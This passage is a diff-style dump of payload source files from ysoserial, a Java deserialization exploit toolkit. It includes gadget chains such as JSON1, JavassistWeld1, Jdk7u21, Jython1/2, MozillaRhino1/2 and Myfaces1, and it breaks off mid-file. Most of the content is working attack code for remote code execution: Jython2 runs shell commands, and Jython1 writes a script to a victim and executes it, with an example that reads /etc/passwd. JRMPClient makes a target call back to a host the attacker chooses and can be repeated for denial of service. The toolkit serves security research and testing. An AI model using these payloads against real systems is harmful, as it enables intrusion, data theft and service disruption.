* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( String command ) throws Exception {
command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
@@ -0,0 +1,63 @@
package ysoserial.payloads;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.ObjectTable;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
@Override
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
// unexport ref to allow listener thread (and jvm) to exit
ObjectTable.unexportObject(obj, true);
}
public static void main ( final String[] args ) throws Exception {
UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
}
}
+118
View File
@@ -0,0 +1,118 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeType;
import javax.management.openmbean.OpenDataException;
import javax.management.openmbean.OpenType;
import javax.management.openmbean.TabularDataSupport;
import javax.management.openmbean.TabularType;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import net.sf.json.JSONObject;
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes", "unchecked", "restriction"
} )
@Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
@Authors({ Authors.MBECHLER })
public class JSON1 implements ObjectPayload<Object> {
public Map getObject ( String command ) throws Exception {
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
}
/**
* Will call all getter methods on payload that are defined in the given interfaces
*/
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
CompositeType rt = new CompositeType("a", "b", new String[] {
"a"
}, new String[] {
"a"
}, new OpenType[] {
javax.management.openmbean.SimpleType.INTEGER
});
TabularType tt = new TabularType("a", "b", rt, new String[] {
"a"
});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return Gadgets.makeMap(t1, t2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JSON1.class, args);
}
}
@@ -0,0 +1,90 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JavassistWeld1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args);
}
}
+12 -3
View File
@@ -6,12 +6,14 @@ import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
@@ -51,12 +53,14 @@ LinkedHashSet.readObject()
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
@@ -79,6 +83,11 @@ public class Jdk7u21 implements ObjectPayload<Object> {
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
@@ -0,0 +1,108 @@
package ysoserial.payloads;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.math.BigInteger;
import java.io.File;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
*
* <local path>;<remote path>
*
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
*
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
*
* In the above example, if "read_etc_passwd.py" simply contained the string:
*
* raise Exception(open('/etc/passwd', 'r').read())
*
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args);
}
}
@@ -0,0 +1,57 @@
package ysoserial.payloads;
import org.python.core.*;
import java.math.BigInteger;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
* and Yorick Koster (@ykoster)
*
* This version of Jython2 executes a command through os.system().
* Based on Jython1 from @pwntester & @cschneider4711
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String code =
"740000" + // 0 LOAD_GLOBAL 0 (eval)
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
"830100" + // 6 CALL_FUNCTION 1
"01" + // 9 POP_TOP
"640000" + //10 LOAD_CONST 0 (None)
"53"; //13 RETURN_VALUE
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
String[] names = new String[]{"eval"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython2.class, args);
}
}
@@ -0,0 +1,77 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest( precondition = "isApplicableJavaVersion")
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MATTHIASKAISER })
public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
@@ -0,0 +1,109 @@
package ysoserial.payloads;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
/*
Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
Chain:
NativeJavaObject.readObject()
JavaAdapter.readAdapterObject()
ObjectInputStream.readObject()
...
NativeJavaObject.readObject()
JavaAdapter.readAdapterObject()
JavaAdapter.getAdapterClass()
JavaAdapter.getObjectFunctionNames()
ScriptableObject.getProperty()
ScriptableObject.get()
ScriptableObject.getImpl()
Method.invoke()
Context.enter()
JavaAdapter.getAdapterClass()
JavaAdapter.getObjectFunctionNames()
ScriptableObject.getProperty()
NativeJavaArray.get()
NativeJavaObject.get()
JavaMembers.get()
Method.invoke()
TemplatesImpl.getOutputProperties()
...
by @_tint0
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.TINT0 })
public class MozillaRhino2 implements ObjectPayload<Object> {
public Object getObject( String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino2.class, args);
}
}
@@ -0,0 +1,97 @@
package ysoserial.payloads;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.context.FacesContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(skip="Requires running MyFaces, no direct execution")
@Authors({ Authors.MBECHLER })
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
FacesContext.getCurrentInstance();
Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
}
}
@@ -0,0 +1,70 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
